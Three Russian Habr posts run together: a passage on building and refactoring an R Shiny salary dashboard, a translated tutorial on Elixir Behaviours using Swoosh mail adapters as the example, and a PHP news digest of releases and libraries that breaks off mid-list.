Почему бы не сделать одну кнопку "Update" на все? Дело в том, — и это вторая проблема — что на каждый запрос ("обновить и обработать данные по менеджерам", "обновить и обработать данные по QA" и т.д.) уходило по **5-10 минут**, что само по себе непозволительно долго. Единый запрос на обновление всех данных превратил бы 5 минут в 45, а то и во все 60. **Пользователь не может столько ждать.**
Даже несколько функций [`withProgress()`](https://shiny.rstudio.com/reference/shiny/1.0.1/withProgress.html), оборачивавших процессы сбора и обработки данных, и делавших таким образом пользовательское ожидание более осмысленным, не слишком спасали ситуацию.
Третья проблема этого прототипа в том, при добавлении еще десятка профессий (ну а вдруг) мы столкнулись бы с тем, что **место в хедере заканчивается**.
Этих трех причин мне было достаточно, чтобы полностью переосмыслить подход к построению приложения и UX. Если найдете больше — велком в комменты.
Были у этого прототипа и сильные стороны, а именно:
* **Обобщенный подход** к интерфейсу и бизнес-логике: вместо того, чтобы копипастить, выносим одинаковые куски в отдельную функцию с параметрами.
Например, вот так выглядит "плитка" одной специальности на главной странице:
**Код**
```
tile <- function(title, midsal = NA, midsalres = NA, total.res = NA, total.vac = NA, updated = NA)
{
return(
column(width = 4,
h2(title),
strong("Средний оффер (middle):"), midsal, br(),
strong("Средний запрос (middle):"), midsalres, br(),
strong("Всего резюме:"), total.res, br(),
strong("Всего вакансий: "), total.vac, br(),
strong("Последнее обновление: "), updated, br(), br(),
actionButton(inputId = paste0(tolower(prof), "Btn"),
label = "Update", class = "btn-primary")
)
)
}
```
* **Динамическое формирование** UI вплоть до айдишников (inputId) в коде, через `inputId = paste0(параметр, "Btn")`, см. пример выше. Этот подход показал себя крайне удобным, потому что предстояло проинициализировать с десяток элементов управления, помноженный на количество профессий.
* Он работал :)
Собранные данные складывались в файлики .csv по разным профессиям (`append = TRUE`), а затем читались оттуда при запуске приложения. При появлении новых данных они добавлялись в соответствующий файл, а средние значения пересчитывались.
**Пара слов о разделителях**
Важный нюанс: стандартные разделители для csv-файлов — запятая или точка с запятой — не слишком подходят для нашего случая, ведь нередко можно встретить вакансии и резюме с заголовками вроде "Швец, жнец, игрец (дуда; html/css)". Поэтому я сразу решила выбрать что-нибудь более экзотичное, и мой выбор пал на |.
Все шло хорошо до тех пор, пока при очередном запуске я не обнаружила дату в столбце с валютой и далее съехавшие столбцы и, как следствие, запоротые графики. Стала разбираться. Как выяснилось, мою систему сломала прекрасная девушка-"Data Analyst | Business Analyst". С тех пор я использую в качестве разделителя `\x1B` — символ ESC. До сих пор не подводил.
**Assign или не assign?**
Во время работы над этим проектом функция assign стала для меня настоящим открытием: можно **динамически формировать имена** переменных и прочих дата фреймов, круто же!
Разумеется, я хочу держать исходные данные в отдельных data frames для разных вакансий. А писать "designer.vac = data.frame(...), analyst.vac = data.frame(...)" не хочу. Поэтому код инициализации этих объектов при запуске приложения у меня выглядел так:
**Assign**
```
profs <- c("analyst", "designer", "developer", "devops", "manager", "qa")
for (name in profs)
{
if (!exists(paste0(name, ".vac")))
assign(x = paste0(name, ".vac"),
value = data.frame(
URL = character() # ссылка на вакансию
, id = numeric() # id вакансии
, Name = character() # название вакансии
, City = character()
, Published = character()
, Currency = character()
, From = numeric() # ниж. граница зарплатной вилки
, To = numeric() # верх. граница
, Level = character() # jun/mid/sen
, Salary = numeric()
, stringsAsFactors = FALSE
))
}
```
Но радость моя длилась не долго. Обращаться к таким объектам в дальнейшем через некий параметр уже не получалось, и это волей-неволей приводило к дублированию кода. При этом количество объектов росло в геометрической прогрессии, и в итоге стало легко запутаться в них и в вызовах assign.
Поэтому пришлось использовать другой подход, в конечном итоге оказавшийся гораздо более простым: **использование списков.**
**Проинициализировать пачку data frames? Легко!**
```
profs <- list(
devops = "devops"
, analyst = c("systems+analyst", "business+analyst")
, dev.full = "full+stack+developer"
, dev.back = "back+end+developer"
, dev.front = "front+end+developer"
, designer = "ux+ui+designer"
, qa = "QA+tester"
, manager = "project+manager"
, content = c("mathematics+teacher", "physics+teacher")
)
for (name in names(profs))
{
proflist[[name]] <- data.frame(
URL = character() # ссылка на вакансию
, id = numeric() # id вакансии
, Name = character() # название вакансии
, City = character()
, Published = character()
, Currency = character()
, From = numeric() # ниж. граница зарплатной вилки
, To = numeric() # верх. граница
, Level = character() # jun/mid/sen
, Salary = numeric()
, stringsAsFactors = FALSE
)
}
```
Обратите внимание, что вместо обычного вектора с названиями профессий, как раньше, я использую список, в который заодно вшила поисковые запросы, по которым ищутся данные по вакансиям и резюме для конкретной профессии. Так мне удалось избавиться от уродливого switch при вызове функции поиска вакансий.
**Одним махом отрендерить N таблиц и N графиков из этих data frames? Хм...**Тоже, в общем-то, несложно. Вот вам сферический в вакууме пример для server.R:
```
lapply(seq_along(my.list.of.data.frames), function(x) {
output[[paste0(names(my.list.of.data.frames)[x], ".dt")]] <-
renderDataTable({
datatable(data = my.list.of.data.frames[[names(my.list.of.data.frames)[x]]]()
, style = 'bootstrap', selection = 'none'
, escape = FALSE)
})
output[[paste0(names(my.list.of.data.frames)[x], ".plot")]] <-
renderPlot(
ggplot(na.omit(my.list.of.data.frames[[names(my.list.of.data.frames)[x]]]()),
aes(...))
)
})
```
Отсюда **вывод:** списки — крайне удобная штука, позволяющая сократить количество кода и время на его обработку. (Поэтому — не assign.)
И в тот момент, когда я отвлеклась от рефакторинга на [выступление Джо Ченга о дашбордах](https://www.rstudio.com/resources/videos/building-dashboards-with-shiny-tutorial/), пришло...
Переосмысление
==============
Оказывается, в R есть специальный пакет, заточенный под создание дашбордов — [shinydashboard](https://rstudio.github.io/shinydashboard/index.html). Он также использует bootstrap и помогает чуть проще организовать UI с лаконичным сайд-баром, который можно и вовсе скрыть безо всяких `conditionalPanel()`, позволяя пользователю сфокусироваться на изучении данных.
Оказывается, если HR проверяет данные раз в полгода, кнопка Update им не нужна. Вообще никакая. Это не совсем "static dashboard", но близкое к тому. Скрипт обновления данных можно реализовать совсем отдельно от shiny-приложения и запускать его по расписанию стандартным Scheduler'ом ~~винды~~ вашей ОС.
Это решает сразу две проблемы: долгого ожидания (если регулярно гонять скрипт в фоновом режиме, пользователь даже не заметит его работы, а только будет видеть всегда свежие данные) и избыточных действий, требовавшихся от пользователя, чтобы обновить данные. Раньше требовалось девять кликов (по одному на каждую специальность), теперь требуется ноль. Кажется, мы вышли на прирост эффективности, стремящийся к бесконечности!
Оказывается, код в разных частях приложения исполняется неодинаковое количество раз. Не буду останавливаться на этом подробно, при желании лучше ознакомиться с наглядным разъяснением в [докладе](https://www.rstudio.com/resources/videos/building-dashboards-with-shiny-tutorial/). Обозначу лишь основную идею: манипуляции с данными внутри ggplot(), на лету — зло, и **чем больше кода удастся вынести на верхние уровни приложения, тем лучше.** Производительность при этом вырастает в разы.
На самом деле, чем дальше я смотрела доклад, тем яснее понимала, насколько не по фен-шую был организован код в моем первом прототипе, и в какой-то момент стало очевидно, что проект проще переписать, чем отрефакторить. Но как бросить свое детище, когда в него вложено столько сил?
То, что мертво, умереть не может
================================
— подумала я и переписала проект с нуля, причем в этот раз
* вынесла весь код сбора данных по вакансиям и резюме (по сути — весь ETL-процесс) в отдельный скрипт, который можно запускать независимо от shiny-приложения, избавив пользователя от томительного ожидания;
* использовала [reactiveFileReader()](https://shiny.rstudio.com/reference/shiny/latest/reactiveFileReader.html) для чтения заранее собранных данных из csv-файлов, обеспечив актуальность исходных данных в моем приложении без необходимости перезапуска и лишних действий пользователя;
* избавилась от assign() в пользу работы со списками и активно использовала lapply() там, где раньше были циклы;
* переработала UI приложения с использованием пакета shinydashboard, в качестве бонуса — не нужно беспокоиться о нехватке места на экране;
* в несколько раз сократила суммарный объем приложения (с ~1800 до 360 строк кода).
Теперь решение работает следующим образом.
1. ETL-скрипт запускается раз в месяц (здесь [инструкция](https://netpeak.net/ru/blog/kak-nastroit-zapusk-r-skripta-po-raspisaniyu/), как это сделать) и добросовестно проходит по всем профессиям, собирая с hh сырые данные по вакансиям и резюме.
Причем данные по вакансиям берутся через API сайта (мне удалось частично переиспользовать код из [предыдущего проекта](https://habr.com/post/413731/)), а вот за каждым резюме пришлось парсить веб-страницы силами пакета rvest, потому что доступ соответствующему методу API теперь стал платным. Можно догадаться, как это отразилось на скорости работы скрипта.
2. Собранные данные причесываются — подробно и с примерами кода процесс описан [здесь](https://habr.com/post/413731/). Обработанные данные сохраняются на диск в отдельные файлы вида hist/profession-hist-vac.csv и hist/profession-hist-res.csv. Кстати, выбросы в данных [вроде таких](https://habrastorage.org/webt/um/cd/pg/umcdpgnon_jnypnmlji0yylyxf0.png) могут приводить к курьезам, будьте бдительны :)
Для каждой профессии скрипт берет дополненный файл с историческими данными, выбирает наиболее актуальные — те, что не старше месяца с даты последнего обновления — и формирует новые csv-файлы вида data.res/profession-res-recent.csv и data.vac/profession-vac-recent.csv. С этими-то данными и работает итоговое приложение...
3. … которое после запуска считывает содержимое фолдеров резюме и вакансий (data.res и data.vac соответственно), а затем каждый час проверяет, не было ли в файлах изменений. Делать это с помощью reactiveFileReader() гораздо эффективнее по затрачиваемым ресурсам и скорости выполнения, чем с используя invalidateLater(). Если в файлах были изменения, тогда таблицы с исходными данными автоматически обновляются, а средние значения и графики пересчитываются, потому что зависят от reactiveValues(), то есть никакого дополнительного кода для обработки этой ситуации не требуется.
4. На главной странице теперь находится таблица, в которой приводятся min, median и max значения зарплатных ожиданий и предложений по каждой специальности для каждого из найденных уровней (все по ТЗ). Кроме того, можно посмотреть графики на табах с подробной информацией и выгрузить данные в формате .xlsx (мало ли для чего HR потребуются эти цифры).
Всё. Получается, единственная кнопка, доступная теперь пользователю на нашем дашборде, это кнопка Download. И это к лучшему: чем меньше у пользователя кнопок, тем меньше шансов ~~вызвать необработанное исключение~~ в них запутаться.
Вместо эпилога
==============
Сегодня приложение собирает и анализирует данные только по Санкт-Петербургу. Учитывая то, что главный стейкхолдер осталась довольна, а самая частая реакция — "здорово, а на Москву такое можно сделать?", эксперимент считаю удавшимся.
**Посмотреть** приложение можно [**по этой ссылке**](https://etherity.shinyapps.io/salmon/), а весь **исходный код** (вместе с примерами готовых файлов) доступен [**здесь**](https://github.com/patsulda/salmon).
Кстати, приложение называется Salary Monitor, сокращенно Salmon — "лосось".
 | https://habr.com/ru/post/417991/ | null | ru | null |
# Elixir: делаем код расширяемым с помощью Behaviour
Итак, определим диспозицию… Вы написали кусочек кода, который вы хотите использовать с большим количеством разных "вещей" — звучит не очень научно, но всё же. Эти разные вещи объединяет какое-то общее свойство, через которое они достигают одинакового результата на высоком уровне абстракции; только вот пути достижения результата могут быть совершенно разными.
Часто ваш код должен использовать только одну такую вещь за раз, но вы же не хотите делать ваш код настолько узким? Это просто отвратительно. Разве не замечательно, когда другие люди смогут создать новые "вещи" и расширить ваш код, в то время как вы даже не кассаетесь клавиатуры?
> Но разве я не могу выбрать конкретную реализацию и использовать её? Мне больше ничего и не надо....
Вы конечно можете. Но что случится, если вы поменяете своё мнение о "вещи", которую вы используете. Вдруг ваша конфетка без обёртки окажется не тем, чем кажется? А вдруг ещё хуже — вашу дивную "штучку" перестанут поддерживать? В этаких ужасных условиях было бы круто, если бы вы могли быстро поменять одно на другое, не меняя при этом вообще всё что мы написали. Прально?
Хватит толочь воду в ступе...
-----------------------------
Если вы дочитали до сюда, я думаю что вы понимаете о чём я. "Вещи" представляют собой миллионы вариаций, но давайте перейдём к каким-нибудь адекватным примерам из реального мира:
* Приложение-мессенджер, которое должно рассылать email несколькими различными вариантами: **SMTP**, **Mandrill**, **Sendgrid**, **Postmark**, **%ВашБудущийSaaSПродукт%** и так далее. В этом примере "вещи" — методы доставки сообщений. они все доставляют почту, но разными способами.
* Генератор резюме, который берёт данные из *web*-формы, а рендерит, её в **HTML**, **PDF**, **Markdown**, **LaTeX**, **%ВотТутНовыйФорматВашейБабушки%** и так далее. "Вещи" здесь — разные форматы документы, они все на вход принимают одинаковые данные, но все делают разные вещи чтобы достичь результата в виде документа, которые может брать ваш пользователь.
* Движок хранения данны, который принимает данные и их хранит в базе данных: **PostgreSQL**, **MySQL**, **SQLite** и так далее. В этом случае "вещь" — база данных, они все могут принимать запросы, но каждая из них по разному обрабатывает эти запросы. Я, кстати, только что описал [**Ecto**](https://github.com/elixir-lang/ecto).
все эти сценарии описывают серъёзную проблему — так как мы хотим работать со всеми этими вещицами, но различия в них представляют собой труднопреодолимый барьер из кучи повторяющегося кода. Куча языков программирования имеют решения этой проблемы, и **Elixir** не исключение: всртречайте **Behaviour**.
Behaviour в Elixir
------------------
Подсказка в названии. Чтобы взаимодействовать с несколькими вещами, как если бы они были одно и то же: мы должны определить их общее **поведение** как абстракцию. И это как раз то, что делает [**Behaviour**](http://elixir-lang.org/getting-started/typespecs-and-behaviours.html#behaviours) в Elixir: определение подобной абстракции. Всякий **Behaviour** существует как спецификация либо инструкция, позволяя другим модулям следовать этим инструкциям и таким образом поддерживать **Behaviour**. Это позволяет остальному коду заботится только об общем интерфейсе. Хотите поменять сервисы? На здоровье, вызывающий код ничего не заметит.
Но как это всё выглядит? **Behaviour** определён как обычный модуль, внутри которого вы можете обозначить группу спецификаций для функций, который *должны* быть реализованы в модуле, который поддерживает этот **Behaviour**. Какждая такая спецификация определена с помощью директивы **[callback](https://habrahabr.ru/users/callback/)** и сигнатуры [**typespec**](http://elixir-lang.org/getting-started/typespecs-and-behaviours.html#types-and-specs), которая позволяет задать что конкретно принимает и отдаёт каждая функция. Выглядит так:
```
defmodule Parser do
@callback parse(String.t) :: any
@callback extensions() :: [String.t]
end
```
Все модули, которые хотят поддержать это **Behaviour** должны:
* Явно подтвержить своё желание директивой `@behaviour Parser`;
* Реализовать метод `parse/1`, которй принимает строку и возвращает любой терм;
* Реализовать метод `extensions/0` который принимает ничего и возвращает список строк.
Использование **Behaviour** — явное, поэтому все модули, которые поддерживают **Behaviour** должны подтвердить это используя атрибут `@behaviour SomeModule`. Это очень удобно — вы можете положится на компилятор, он проверит, что ваши модули не соответствуют спецификации. Поэтому если вы обновите **Behaviour**, то вы можете быть уверены, что компилятор на вашей стороне — он удостоверится что все модули поддерживающие его должны быть обновлены тоже.
Ныряем глубже
-------------
Если вы ещё не совсем поняли что я имею ввиду — вам может помочь пример других языков. Если вы любитель **Python**, то вот этот [пост](http://charlesleifer.com/blog/django-patterns-pluggable-backends/) — хорошее обьяснение паттерна в целом. Если вы из **Ruby** — почитайте его тоже — философия в общем-то такая же (унаследовать базовый адаптер и надеятся на лучшее, хехе). Ну а для любителей **Go** — много общего у этого дела с [интерфейсами](http://jordanorelli.com/post/32665860244/how-to-use-interfaces-in-go).
Должен сказать, что гораздо проще объяснить, как **Behaviour** может помочь писать расширяемый код, на живом примере, поэтому идти глубже мы будем с примером про *email*. Рассмотрим библиотеку [**Swoosh**](https://github.com/swoosh/swoosh), которая использует **Behaviour** для определения стека методов по доставке писем, причём пользовать сам может добавить ещё один метод и использовать его.
Определение публичного договора
-------------------------------
Мы так долго обсуждали *зачем*, поэтому давайте сразу посмотрим на библиотеку, а именно на [**Swoosh.Adapter**](https://github.com/swoosh/swoosh/blob/ba3af6753171f7010bf3ed826d4156b8fa57df6f/lib/swoosh/adapter.ex)
```
defmodule Swoosh.Adapter do
@moduledoc ~S"""
Specification of the email delivery adapter.
"""
@type t :: module
@type email :: Swoosh.Email.t
@typep config :: Keyword.t
@doc """
Delivers an email with the given config.
"""
@callback deliver(email, config) :: {:ok, term} | {:error, term}
end
```
Как вы можете видет, пример немножко длиннее чем в документации, потому что **Swoosh** определяет все используемые типы для дополнительного удобства чтения и прозрачности кода (**config** используется как ссылка на **Keyword.t**, просто потому что так более понятно). Но нам на типы в общем то всё равно, мы заботимся только о директиве **[callback](https://habrahabr.ru/users/callback/)**, которая как раз и определяет правила для одной и единственной функции в этой абстракции: **доставить** письмо. Определение `deliver/2` рассказывает нам, что:
* функция принимает два аргумента: структуру типа **Swoosh.Email** и конфигурацию в виде списка ключевых слов;
* функция *что-то делает*;
* возвращает значения в привычном для **Elixir** кортеже `ok/error`.
### Поддерживаем **Behaviour**
Самое время определить *делаем что-то*. Мы возбмём и посмотрим на два адаптера, которые поддерживают **behaviour**, и входят в "батарейки" к **Swoosh**. Для начала посмотрим на простой — **Local** клиент, который доставляет письма прямиком в память.
```
defmodule Swoosh.Adapters.Local do
@behaviour Swoosh.Adapter
def deliver(%Swoosh.Email{} = email, _config) do
%Swoosh.Email{headers: %{"Message-ID" => id}} = Swoosh.InMemoryMailbox.push(email)
{:ok, %{id: id}}
end
end
```
Тут в общем-то и обсуждать нечего. Для начала адаптер явно указывает, что поддерживает **Swoosh.Adapter Behaviour**. Затем, определяется функция `deliver/2`, которая имеет точно такую сигнатуру, которая определена в договоре. Вот такое вот явное определение позволяет компилятору делать за нас всю грязную работу. Если ребята, которые делают **Swoosh** решат добавить ещё одну функцию в спецификацию, то все поддерживающие модули так же должны будут измениться, а иначе приложение просто не скомпилируется. потрясающая безопастность!
Ещё один клиент, который посылает письма через **Sendgrid** — слишком большой чтобы ешо исходный код сюда копировать, но вы можете [посмотреть его на **GitHub**](https://github.com/swoosh/swoosh/blob/4f3ed760aa8c6bd3c6e8f2d952ecea9575a6fddd/lib/swoosh/adapters/sendgrid.ex#L28). Вы заметите, что модуль гораздо сложнее, и определяет большое количество функций кроме той, которые должны быть обязательно: `deliver/2`. Это потому, что для **Behaviour** не важно, сколько там *лишних* функций — они не должны совпадать 1:1. Это позволяет более сложным модулям вызывать другие определённые функции в тех самых, определённых в контракте, что улучшает читабельность и чистоту кода.
Добавляем в код щепотку гибкости
--------------------------------
Мы уже узнали, как определять "контракт" **Behaviour**, и даже как поддерживать его в модулях, но как это поможет нам, когда мы захотим использовать их в вызывающем коде? Есть несколько путей реализации этой задумки, все умеют разную сложность. Начнём с простого.
### *Dependency injection* с помощью заголовка функции
Вернёмся к нашему примеру **Parser** прямиком из доков:
```
defmodule Document do
@default_parser XMLParser
defstruct body: ""
def parse(%Document{} = document, opts // []) do
{parser, opts} = Keyword.pop(opts, :parser, @default_parser)
parser.parse(document.body)
end
end
```
Тут мы используем модуль **Document** который просто определяет функциональный враппер для нашего **Behaviour**, потому мы можем легко переключаться между разными парсерами. Попробуем запустить...
```
Document.parse(document)
```
В коде выше мы передаём только один аргумент — без `options`. Это приводит к тому, что доступ к данным с ключом `:parser` в вызове `Keyword.pop` не сработвет, и вернёт нам простой `@default_parser`, который был определён в атрибуте модуля. После этого функция `parse/1` просто вызовет этот же метод у нашего парсера, передавая туда строку *body*.
Супер, а как насчёт **XMLParser**? Вуаля!
```
Document.parse(document, parser: JSONParser)
```
Так как и **XMLParser** и **JSONParser** поддерживают **Parser Behaviour**, они оба имеют реализацию функции `parse/1`. И вызывая эту функцию в врапере, мы можем очень быстро и просто делать *dependency injection* нужного нам парсера.
Такой способ управления зависимостями очень мощный. Он даже позволяет разным частям приложения использовать, к примеру, разные парсеры. Однако есть и минусы. При использовании этого метода вы должны доверить пользователью знания о том, *как* и *где* происходит *dependency injection*, что потребует более развёрнутой документации. Более того, что если пользователь захочет использовать разныне зависимости в разных окружениях? Вашему коду каждый раз придётся решать в рантайме какой модуль использовать и когда. Не лучше ли задать это заранее и забыть о нём?
### *Dependency injection* с помощью **Mix Сonfig**
Благодаря **Mix** — это даже не проблема. Посмотрим на пример **Parser** опять:
```
defmodule Document do
@default_parser XMLParser
defstruct body: ""
def parse(%Document{} = document) do
config = Application.get_env(:parser_app, __MODULE__, [])
parser = config[:parser] || @default_parser
parser.parse(document.body)
end
end
```
В этом примере `parse/1` больше не принимает никаких опций. Зато тип парсера вычисляется прямиком из конфигурации **OTP Application**.
Например, конфигурационный файл может выглядеть так:
```
# config/config.exs
config :parser_app, Document,
parser: JSONParser
```
наш **Document.parse** враппер будет знать, что надо использовать **JSONParser** для парсинга. Всё это служит для нас отличную службу, так как выбор адаптера больше не привязан к вызывающему коду, и поэтому может быть изменён в **Mix config**, либо конфиг, зависящий от окружения может выбрать наш парсер в будущем. Опять же, и такой подход имеет свои минусы: конфигурация сильно привязана к модулю **Document**, потому что использует ****MODULE**** (имя модуля) в конфиге. Это обозначает, что мы уходим от возможности использования нескольких парсеров, только потому что везде в коде мы используем захардкоженый модуль **Document**. Конечно, в большинстве случаев одного адаптера достаточно для всего проекта, но если вдруг понадобится больше? К примеру одна часть кода будет посылать письма через **Sendgrid**, а другая его часть будет требовать поддержки *устаревшего* **SMTP** сервера. Что же, вернёмся к **Swoosh**...
### Достигаем преимущества обоих подходов
К счастью для на, **Swoosh** повторяет подход **Ecto** к этой проблеме. Вы, как программист, должны опредлить собственный модуль где-либо в коде, который будет потом использовать **Swoosh** через `use Swoosh.Mailer`. Ваш вызывающий код потом будет использовать этот модуль как враппер для импортированного **Swoosh.Mailer**. К сожалению, детали работы макросов вынесены за рамки статьи., но по простому: макрос **use** заставляет **Elixir** вызвать макрос с именем ****using**** в импортируемом модуле. Можете посмотреть как выполнен этот макрос **Swoosh.Mailer.**using**** непосредственно [в репе](https://github.com/swoosh/swoosh/blob/4f3ed760aa8c6bd3c6e8f2d952ecea9575a6fddd/lib/swoosh/mailer.ex#L60).
По сути, это значит, что конфигурация **Swoosh** находится сразу в двух местах:
```
# In your config/config.exs file
config :sample, Sample.Mailer,
adapter: Swoosh.Adapters.Sendgrid,
api_key: "SG.x.x"
# In your application code
defmodule Sample.Mailer do
use Swoosh.Mailer, otp_app: :sample
end
```
Структурируя код таким образом, мы можем достигнуть того, что каждый модуль имеет свой собственый участок настроек в **Mix config**. Каждый отдельный модуль должен **use Swoosh.Mailer** для того, чтобы они были настроены по разному.
… и всё! Теперь вы знаете как создать *публично-расширяемый* код. Но перед тем как закончить, ещё пара слов...
Больше примеров
---------------
Чтение существующего кода поможет усвоить получееные в статье знания. Начать можно с:
* [**Plug**](https://github.com/elixir-lang/plug) — спецификация для расширяемых **web** приложений является сама по себе **Behaviour**. Когда кто-то создаёт **plug**, по сути они поддерживают в своём модуле **Plug Behaviour**, который очень прост: модуль должен поддерживать две функции: `init/1` и `call/2`. Такой подход позволяет выстраивать цепочки из плагов, как в **Phoenix**.
* [**Ecto**](https://github.com/elixir-lang/ecto) — использует **Behaviour** в миллиарде мест, начиная от хранилищ и их адаптеров, заканчивая соединениями с БД, расширениями, миграциями и самих репозиториев.
Парочка вещей на посмотреть
---------------------------
Подводя итоги: преимущества такого подхода в том, что он позволяет писать слабосвязанный код, который подчиняется каким-либо публичным контрактам. Благодаря этому разработчики могут расширять существующую функциональность просто явно определяя расширение, которые появляются в ходе работы. Тот факт, что контракт определён явно, позволяет гораздо проще тестировать, без всяких там ["mocking as a verb"](http://blog.plataformatec.com.br/2015/10/mocks-and-explicit-contracts/).
Как уже было сказано, такой подход работает далеко не для всех ситуаций. Определяя стандартный набор отношений между всеми плагинами вы как бы заставляете плагины иметь схожую функциональность, а это не всегда применимо: бывают ситуации когда код настолько разный, что под него нельзя подвести общий делитель. Для дальнейшего чтения я бы посоветовал код проекта **Ecto**, в особенности те участки, в которых подводится базис под доступ к различным базам данных, например [DDL транзакции](https://github.com/elixir-lang/ecto/blob/a75ae3aafacfb05a5c123e9fe1b8be19cd5eef96/lib/ecto/migrator.ex#L111) и как они [сделаны в **Behaviour**](https://github.com/elixir-lang/ecto/blob/a45390e1dead49574d1f1c72ebaf8b539a78e1d4/lib/ecto/adapter/migration.ex#L39).
Эпилог
------
Пост неожиданно получился просто огромным. В любом случае спасибо, что дошли до сюда, и может быть даже нажали на парочку ссылок. В любом случае, без стеснения пишите мне на [email](http://mail@djm.org.uk), или подпиывайтесь на мой [Twitter](https://twitter.com/djm_), или каким нибудь другим способом распространяйте заразу любви к **Elixir**!.
Спасибо [Baris](https://twitter.com/BarisBalic) за то что читал и проверял.
### От переводчика
*Желание перевести статью появилось после того, как пришлось делать нечто подобное в небольшой библиотеке собственного производства. Код можно посмотреть [вот тут](https://github.com/Virviil/agala/blob/master/lib/handler/handler.ex) для ещё одного примера. Надеюсь, эта статья поможет ещё глубже разобраться в работе языка **Elixir**, а так же заинтересует тех, что пока что не отличает **Phoenix** от **Elixir**. В случае возникновения каких-то вопросов пишите в [коммьюнити](https://telegram.me/proelixir).* | https://habr.com/ru/post/312442/ | null | ru | null |
# PHP-Дайджест № 68 – интересные новости, материалы и инструменты (27 июля – 24 августа 2015)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [PHP 7.0.0 RC 1](http://php.net/archive/2015.php#id2015-08-21-1) — Как и было обещано ранее, 20 августа команда разработчиков PHP анонсировала выход первого релиз-кандидата. RC2 запланирован на 3 сентября. С расписанием релизов можно ознакомиться [тут](https://wiki.php.net/todo/php70#timetable).
* [Обновления актуальных веток PHP 5.4.44, 5.5.28 и 5.6.12](http://php.net/archive/2015.php#id2015-08-06-4) — Устранены двенадцать уязвимостей и исправлена [порция ошибок](http://php.net/ChangeLog-5.php).
* [WordPress 4.3 “Billie”](https://wordpress.org/news/2015/08/billie/) — [Обзор нововведений](http://www.sitepoint.com/whats-new-in-wordpress-4-3/).
*  [Yii 2.0.6](http://habrahabr.ru/post/264159/)
* [HHVM 3.9.0](http://hhvm.com/blog/9995/hhvm-3-9-0)
* [PSR-6 Cache перешел в стадию ревью](https://groups.google.com/forum/#!topic/php-fig/KbcVvukLv1A) — C самим стандартом можно ознакомиться по ссылкам: [cache](https://github.com/php-fig/fig-standards/blob/master/proposed/cache.md), [cache-meta](https://github.com/php-fig/fig-standards/blob/master/proposed/cache-meta.md).
### PHP
* [RFC: Random Functions Throwing Exceptions in PHP 7](https://wiki.php.net/rfc/random-function-exceptions) — Использование функций `random_int()` и `random_bytes()` потенциально может быть небезопасным, если по какой-либо причине выполнение не удалось. Предлагается в этом случае бросать исключение.
### Инструменты
* [Owl Framework](https://github.com/owl-framework) — Супербыстрый фреймворк на основе Zephir. Прислал [ovr](https://github.com/ovr).
* [SocialConnect](https://github.com/socialconnect) — Проект, предназначенный для создания стандартизированных API-клиентов. В комплекте базовая библиотека [Common](https://github.com/SocialConnect/common), [OAuth1/OAuth2/OpenID провайдеры](https://github.com/SocialConnect/auth), а также примеры клиентов для популярных соц сетей ([Instagram](https://github.com/SocialConnect/instagram), [vk](https://github.com/SocialConnect/vk)). Прислал [ovr](https://github.com/ovr).
* [edefimov/async-sockets](https://github.com/edefimov/async-sockets) — Событийная библиотека для работы с сокетами.
* [Phone-com/mason-php](https://github.com/Phone-com/mason-php) — Набор инструментов для разработки гипермедиа REST API на PHP.
* [zwilias/beanie](https://github.com/zwilias/beanie) — Легковесный клиент для сервера очередей beanstalkd.
* [AgencyPMG/Queue](https://github.com/AgencyPMG/Queue) — Простая, но готовая к использованию библиотека для работы с очередями в PHP.
* [bernardphp/bernard](https://github.com/bernardphp/bernard) — Фреймворк для создания задач и отложенного выполнения в фоне с поддержкой различных бекендов.
* [wapmorgan/MiniThreader](https://github.com/wapmorgan/MiniThreader) — Простая библиотека для работы с потоками на PHP.
* [kasperisager/phpstack](https://github.com/kasperisager/phpstack) — Среда разработки для PHP на основе Docker: Nginx, MySQL, MongoDB, PHP-FPM, HHVM, Memcached, Redis, Elasticsearch.
* [dshafik/guzzlehttp-vcr](https://github.com/dshafik/guzzlehttp-vcr) — Middleware для Guzzle, которое запишет ответы и воспроизведет для последующих запросов. Идея позаимствована у [PHP•VCR](http://php-vcr.github.io/).
* [thephpleague/tactician](http://tactician.thephpleague.com/) — Простая и гибкая реализация командной шины.
* [bandwidth-throttle/token-bucket](https://github.com/bandwidth-throttle/token-bucket) — Библиотека реализует [алгоритм текущего ведра](https://ru.wikipedia.org/wiki/Алгоритм_текущего_ведра), с помощью которого можно ограничивать использование ресурсов.
* [rdlowrey/auryn](https://github.com/rdlowrey/Auryn) — IoC Dependency Injector. [Пост](http://shadowhand.me/dependency-injection-with-auryn/) с примером использования.
* [malkusch/lock](https://github.com/malkusch/lock) — Реализация блокировок для PHP.
* [PHP Web Scraping](https://github.com/lorien/awesome-web-scraping/blob/master/php.md) — Список PHP-библиотек для скрапинга и обработки данных.
* [regex101.com](https://regex101.com/) — Онлайн-инструмент для отладки регулярных выражений.
### Материалы для обучения
* ##### PHP 7
+ [Официальное руководство по миграции с PHP 5.6.x на PHP 7.0.x](http://php.net/manual/en/migration70.php)
+ [Исключительное изменение в PHP 7.0](http://daveyshafik.com/archives/69237-an-exceptional-change-in-php-7-0.html) — О новой иерархии исключений.
+  [Готовимся к PHP 7](http://den.bz/article/getting-ready-for-php-7.html)
* ##### Symfony
+ [Symfony поддерживает PHP7 на 100%](http://symfony.com/blog/symfony-achieves-100-php7-compatibility)
* ##### Yii
+  [Форматирование сообщений для Yii::t()](http://habrahabr.ru/post/264009/)
+ [samdark/yii2-webshell](https://github.com/samdark/yii2-webshell) — Вебшелл для запуска консольных команд Yii из браузера.
+ [Аутентификация в Facebook с помощью authclient в Yii2](http://www.mushtaqtahir.com/blog/2/facebook-authentication-using-yii2-authclient)
+  [Отлов и обработка исключений в Yii2](http://habrahabr.ru/post/264863/)
+ [Отображение данных Yii 2 с помощью GridView и ListView](http://www.sitepoint.com/rendering-data-in-yii-2-with-gridview-and-listview/)
* ##### Laravel
+ [Использование исключения в Laravel API приложениях](http://culttt.com/2015/08/10/dealing-with-exceptions-in-a-laravel-api-application/)
+ [Начинаем использовать BDD в Laravel](https://semaphoreci.com/community/tutorials/getting-started-with-bdd-in-laravel) — #Behat, #PhpSpec.
* ##### WordPress
+ [Поиск уязвимостей в ядре WordPress](http://blog.checkpoint.com/2015/08/04/wordpress-vulnerabilities-1/)
+  [Как обычному сайту на Wordpress набрать 99/100 в PageSpeed Insights](http://habrahabr.ru/post/264033/)
+  [Выбираем плагин для кэширования WordPress: бенчмаркинг 18 плагинов](http://habrahabr.ru/company/regru/blog/263781/)
* ##### DB
